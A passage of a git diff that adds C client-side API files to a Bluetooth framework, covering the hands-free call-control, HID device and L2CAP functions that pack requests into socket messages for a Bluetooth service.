Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_hf_api" + +#include <stdint.h> + +#include "bt_hfp_hf.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "hfp_hf_service.h" +#include "service_manager.h" +#include "utils/log.h" + +void* bt_hfp_hf_register_callbacks(bt_instance_t* ins, const hfp_hf_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* cookie; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->hfp_hf_callbacks != NULL) { + cookie = bt_remote_callbacks_register(ins->hfp_hf_callbacks, NULL, (void*)callbacks); + return cookie; + } + + ins->hfp_hf_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + cookie = bt_remote_callbacks_register(ins->hfp_hf_callbacks, NULL, (void*)callbacks); + if (cookie == NULL) { + bt_callbacks_list_free(ins->hfp_hf_callbacks); + ins->hfp_hf_callbacks = NULL; + return NULL; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_REGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hfp_hf_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->hfp_hf_callbacks); + ins->hfp_hf_callbacks = NULL; + return NULL; + } + + return cookie; +} + +bool bt_hfp_hf_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->hfp_hf_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->hfp_hf_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->hfp_hf_callbacks) > 0) { + return true; + } + + cbsl = ins->hfp_hf_callbacks; + ins->hfp_hf_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_UNREGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hfp_hf_r.status != BT_STATUS_SUCCESS) + return false; + + return true; +} + +bool bt_hfp_hf_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_is_connected.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_IS_CONNECTED); + if (status != BT_STATUS_SUCCESS) + return false; + + return packet.hfp_hf_r.value_bool; +} + +bool bt_hfp_hf_is_audio_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_is_audio_connected.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_IS_AUDIO_CONNECTED); + if (status != BT_STATUS_SUCCESS) + return false; + + return packet.hfp_hf_r.value_bool; +} + +profile_connection_state_t bt_hfp_hf_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, PROFILE_STATE_DISCONNECTED); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_get_connection_state.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_GET_CONNECTION_STATE); + if (status != BT_STATUS_SUCCESS) + return PROFILE_STATE_DISCONNECTED; + + return packet.hfp_hf_r.profile_conn_state; +} + +bt_status_t bt_hfp_hf_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_connect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_disconnect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_set_connection_policy(bt_instance_t* ins, bt_address_t* addr, connection_policy_t policy) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_set_connection_policy.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_set_connection_policy.policy = (uint8_t)policy; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_SET_CONNECTION_POLICY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_connect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_connect_audio.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_CONNECT_AUDIO); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_disconnect_audio.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_DISCONNECT_AUDIO); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_start_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_start_voice_recognition.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_START_VOICE_RECOGNITION); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_stop_voice_recognition(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_stop_voice_recognition.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_STOP_VOICE_RECOGNITION); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_dial(bt_instance_t* ins, bt_address_t* addr, const char* number) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (strlen(number) > HFP_PHONENUM_DIGITS_MAX) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_dial.addr, addr, sizeof(bt_address_t)); + strncpy(packet.hfp_hf_pl._bt_hfp_hf_dial.number, number, HFP_PHONENUM_DIGITS_MAX); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_DIAL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_dial_memory(bt_instance_t* ins, bt_address_t* addr, uint32_t memory) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_dial_memory.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_dial_memory.memory = memory; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_DIAL_MEMORY); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_redial(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_redial.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_REDIAL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_accept_call(bt_instance_t* ins, bt_address_t* addr, hfp_call_accept_t flag) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_accept_call.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_accept_call.flag = flag; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_ACCEPT_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_reject_call(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_reject_call.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_REJECT_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_hold_call(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_hold_call.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_HOLD_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_terminate_call(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_terminate_call.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_TERMINATE_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_control_call(bt_instance_t* ins, bt_address_t* addr, hfp_call_control_t chld, uint8_t index) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_control_call.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_control_call.chld = chld; + packet.hfp_hf_pl._bt_hfp_hf_control_call.index = index; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_CONTROL_CALL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_query_current_calls(bt_instance_t* ins, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator) +{ + bt_message_packet_t packet; + bt_status_t status; + int size; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_query_current_calls.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_QUERY_CURRENT_CALLS); + if (status != BT_STATUS_SUCCESS) + return status; + + *num = packet.hfp_hf_pl._bt_hfp_hf_query_current_calls.num; + size = packet.hfp_hf_pl._bt_hfp_hf_query_current_calls.num * sizeof(hfp_current_call_t); + if (size) { + if (!allocator((void**)calls, size)) + return BT_STATUS_NOMEM; + + memcpy(*calls, &packet.hfp_hf_pl._bt_hfp_hf_query_current_calls.calls, size); + } + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_send_at_cmd(bt_instance_t* ins, bt_address_t* addr, const char* cmd) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (strlen(cmd) > HFP_AT_LEN_MAX) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_send_at_cmd.addr, addr, sizeof(bt_address_t)); + strncpy(packet.hfp_hf_pl._bt_hfp_hf_send_at_cmd.cmd, cmd, HFP_AT_LEN_MAX); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_SEND_AT_CMD); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_update_battery_level(bt_instance_t* ins, bt_address_t* addr, uint8_t level) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_update_battery_level.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_update_battery_level.level = level; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_UPDATE_BATTERY_LEVEL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_volume_control(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_volume_control.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_volume_control.type = type; + packet.hfp_hf_pl._bt_hfp_hf_volume_control.volume = volume; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_VOLUME_CONTROL); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_send_dtmf(bt_instance_t* ins, bt_address_t* addr, char dtmf) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_send_dtmf.addr, addr, sizeof(bt_address_t)); + packet.hfp_hf_pl._bt_hfp_hf_send_dtmf.dtmf = dtmf; + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_SEND_DTMF); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_get_subscriber_number(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_get_subscriber_number.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_GET_SUBSCRIBER_NUMBER); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hfp_hf_r.status; +} + +bt_status_t bt_hfp_hf_query_current_calls_with_callback(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hfp_hf_pl._bt_hfp_hf_query_current_calls_with_callback.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HFP_HF_QUERY_CURRENT_CALLS_WITH_CALLBACK); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.hfp_hf_r.status; +} diff --git a/framework/socket/bt_hid_device.c b/framework/socket/bt_hid_device.c new file mode 100644 index 0000000000000000000000000000000000000000..41b5915a9f8154c1592d806678dad0c940d447f3 --- /dev/null +++ b/framework/socket/bt_hid_device.c @@ -0,0 +1,265 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hid_device_api" + +#include <stdint.h> + +#include "bt_hid_device.h" +#include "bt_profile.h" +#include "bt_socket.h" +#include "hid_device_service.h" +#include "service_manager.h" +#include "utils/log.h" + +static bt_status_t safety_assemble_sdp_array(uint8_t** sdp_ptr, size_t* remaining_space, const char* src) +{ + uint32_t src_len = strlen(src); + if (src_len + 1 > *remaining_space) { + return BT_STATUS_NO_RESOURCES; + } + + memcpy(*sdp_ptr, src, src_len); + (*sdp_ptr)[src_len] = '\0'; + *sdp_ptr += (src_len + 1); + *remaining_space -= (src_len + 1); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t safety_assemble_hid_info(uint8_t** sdp_ptr, size_t* remaining_space, const hid_info_t* hid_info) +{ + uint32_t info_len = offsetof(hid_info_t, dsc_list); + + if (info_len + hid_info->dsc_list_length > *remaining_space) { + return BT_STATUS_NO_RESOURCES; + } + + memcpy(*sdp_ptr, hid_info, info_len); + *sdp_ptr += info_len; + *remaining_space -= info_len; + + memcpy(*sdp_ptr, hid_info->dsc_list, hid_info->dsc_list_length); + *sdp_ptr += hid_info->dsc_list_length; + *remaining_space -= hid_info->dsc_list_length; + + return BT_STATUS_SUCCESS; +} + +void* bt_hid_device_register_callbacks(bt_instance_t* ins, const hid_device_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* cookie; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->hidd_callbacks != NULL) { + return NULL; + } + + ins->hidd_callbacks = bt_callbacks_list_new(1); + + cookie = bt_remote_callbacks_register(ins->hidd_callbacks, NULL, (void*)callbacks); + if (cookie == NULL) { + bt_callbacks_list_free(ins->hidd_callbacks); + ins->hidd_callbacks = NULL; + return NULL; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_REGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hidd_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->hidd_callbacks); + ins->hidd_callbacks = NULL; + return NULL; + } + + return cookie; +} + +bool bt_hid_device_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->hidd_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->hidd_callbacks, NULL, cookie); + + cbsl = ins->hidd_callbacks; + ins->hidd_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_UNREGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.hidd_r.status != BT_STATUS_SUCCESS) + return false; + + return true; +} + +bt_status_t bt_hid_device_register_app(bt_instance_t* ins, hid_device_sdp_settings_t* sdp, bool le_hid) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.hidd_pl._bt_hid_device_register_app.le_hid = le_hid; + uint8_t* sdp_ptr = packet.hidd_pl._bt_hid_device_register_app.sdp; + size_t remaining_space = sizeof(packet.hidd_pl._bt_hid_device_register_app.sdp); + + if (BT_STATUS_SUCCESS != safety_assemble_sdp_array(&sdp_ptr, &remaining_space, sdp->name)) { + return BT_STATUS_NO_RESOURCES; + } + + if (BT_STATUS_SUCCESS != safety_assemble_sdp_array(&sdp_ptr, &remaining_space, sdp->description)) { + return BT_STATUS_NO_RESOURCES; + } + + if (BT_STATUS_SUCCESS != safety_assemble_sdp_array(&sdp_ptr, &remaining_space, sdp->provider)) { + return BT_STATUS_NO_RESOURCES; + } + + if (BT_STATUS_SUCCESS != safety_assemble_hid_info(&sdp_ptr, &remaining_space, &sdp->hids_info)) { + return BT_STATUS_NO_RESOURCES; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_REGISTER_APP); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_unregister_app(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_UNREGISTER_APP); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hidd_pl._bt_hid_device_connect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hidd_pl._bt_hid_device_disconnect.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_DISCONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_send_report(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (rpt_size > sizeof(packet.hidd_pl._bt_hid_device_send_report.rpt_data)) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.hidd_pl._bt_hid_device_send_report.addr, addr, sizeof(bt_address_t)); + packet.hidd_pl._bt_hid_device_send_report.rpt_id = rpt_id; + packet.hidd_pl._bt_hid_device_send_report.rpt_size = rpt_size; + memcpy(packet.hidd_pl._bt_hid_device_send_report.rpt_data, rpt_data, rpt_size); + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_SEND_REPORT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_response_report(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (rpt_size > sizeof(packet.hidd_pl._bt_hid_device_response_report.rpt_data)) + return BT_STATUS_PARM_INVALID; + + memcpy(&packet.hidd_pl._bt_hid_device_response_report.addr, addr, sizeof(bt_address_t)); + packet.hidd_pl._bt_hid_device_response_report.rpt_type = rpt_type; + packet.hidd_pl._bt_hid_device_response_report.rpt_size = rpt_size; + memcpy(packet.hidd_pl._bt_hid_device_response_report.rpt_data, rpt_data, rpt_size); + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_RESPONSE_REPORT); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_report_error(bt_instance_t* ins, bt_address_t* addr, hid_status_error_t error) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hidd_pl._bt_hid_device_report_error.addr, addr, sizeof(bt_address_t)); + packet.hidd_pl._bt_hid_device_report_error.error = error; + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_REPORT_ERROR); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} + +bt_status_t bt_hid_device_virtual_unplug(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.hidd_pl._bt_hid_device_virtual_unplug.addr, addr, sizeof(bt_address_t)); + status = bt_socket_client_sendrecv(ins, &packet, BT_HID_DEVICE_VIRTUAL_UNPLUG); + if (status != BT_STATUS_SUCCESS) + return status; + + return packet.hidd_r.status; +} diff --git a/framework/socket/bt_l2cap.c b/framework/socket/bt_l2cap.c new file mode 100644 index 0000000000000000000000000000000000000000..625e2c4205a195cf8954e9eea1d304ff54f340ee --- /dev/null +++ b/framework/socket/bt_l2cap.c @@ -0,0 +1,168 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "L2CAP_api" + +#include <stdint.h> + +#include "bt_l2cap.h" +#include "bt_socket.h" +#include "l2cap_service.h" +#include "utils/log.h" + +void* bt_l2cap_register_callbacks(bt_instance_t* ins, const l2cap_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->l2cap_callbacks != NULL) { + return NULL; + } + + ins->l2cap_callbacks = bt_callbacks_list_new(1); + if (!ins->l2cap_callbacks) { + return NULL; + } + + handle = bt_remote_callbacks_register(ins->l2cap_callbacks, NULL, (void*)callbacks); + if (handle == NULL) { + bt_callbacks_list_free(ins->l2cap_callbacks); + ins->l2cap_callbacks = NULL; + return NULL; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.l2cap_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->l2cap_callbacks); + ins->l2cap_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_l2cap_unregister_callbacks(bt_instance_t* ins, void* handle) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->l2cap_callbacks) { + return false; + } + + bt_remote_callbacks_unregister(ins->l2cap_callbacks, NULL, handle); + + cbsl = ins->l2cap_callbacks; + ins->l2cap_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.l2cap_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_l2cap_listen(bt_instance_t* ins, void* handle, l2cap_config_option_t* option) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.l2cap_pl._bt_l2cap_listen.option, option, sizeof(packet.l2cap_pl._bt_l2cap_listen.option)); + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_LISTEN); + if (status != BT_STATUS_SUCCESS) + return status; + + option->psm = packet.l2cap_pl._bt_l2cap_listen.option.psm; + option->id = packet.l2cap_pl._bt_l2cap_listen.option.id; + strlcpy(option->proxy_name, packet.l2cap_pl._bt_l2cap_listen.option.proxy_name, sizeof(option->proxy_name)); + + return packet.l2cap_r.status; +} + +bt_status_t bt_l2cap_connect(bt_instance_t* ins, void* handle, bt_address_t* addr, l2cap_config_option_t* option) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + memcpy(&packet.l2cap_pl._bt_l2cap_connect.addr, addr, sizeof(packet.l2cap_pl._bt_l2cap_connect.addr)); + memcpy(&packet.l2cap_pl._bt_l2cap_connect.option, option, sizeof(packet.l2cap_pl._bt_l2cap_connect.option)); + status = bt_socket_client_sendrecv(ins, &packet, BT_L2CAP_CONNECT); + if (status != BT_STATUS_SUCCESS) + return status; + + option->id = packet.l2cap_pl._bt_l2cap_connect.option.id; + strlcpy(option->proxy_name, packet.l2cap_pl._bt_l2cap_connect.option.proxy_name, sizeof(option->proxy_name)); + + return packet.l2cap_r.status; +} + +bt_status_t bt_l2cap_disconnect(bt_instance_t* ins, void* handle, uint16_t id) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, 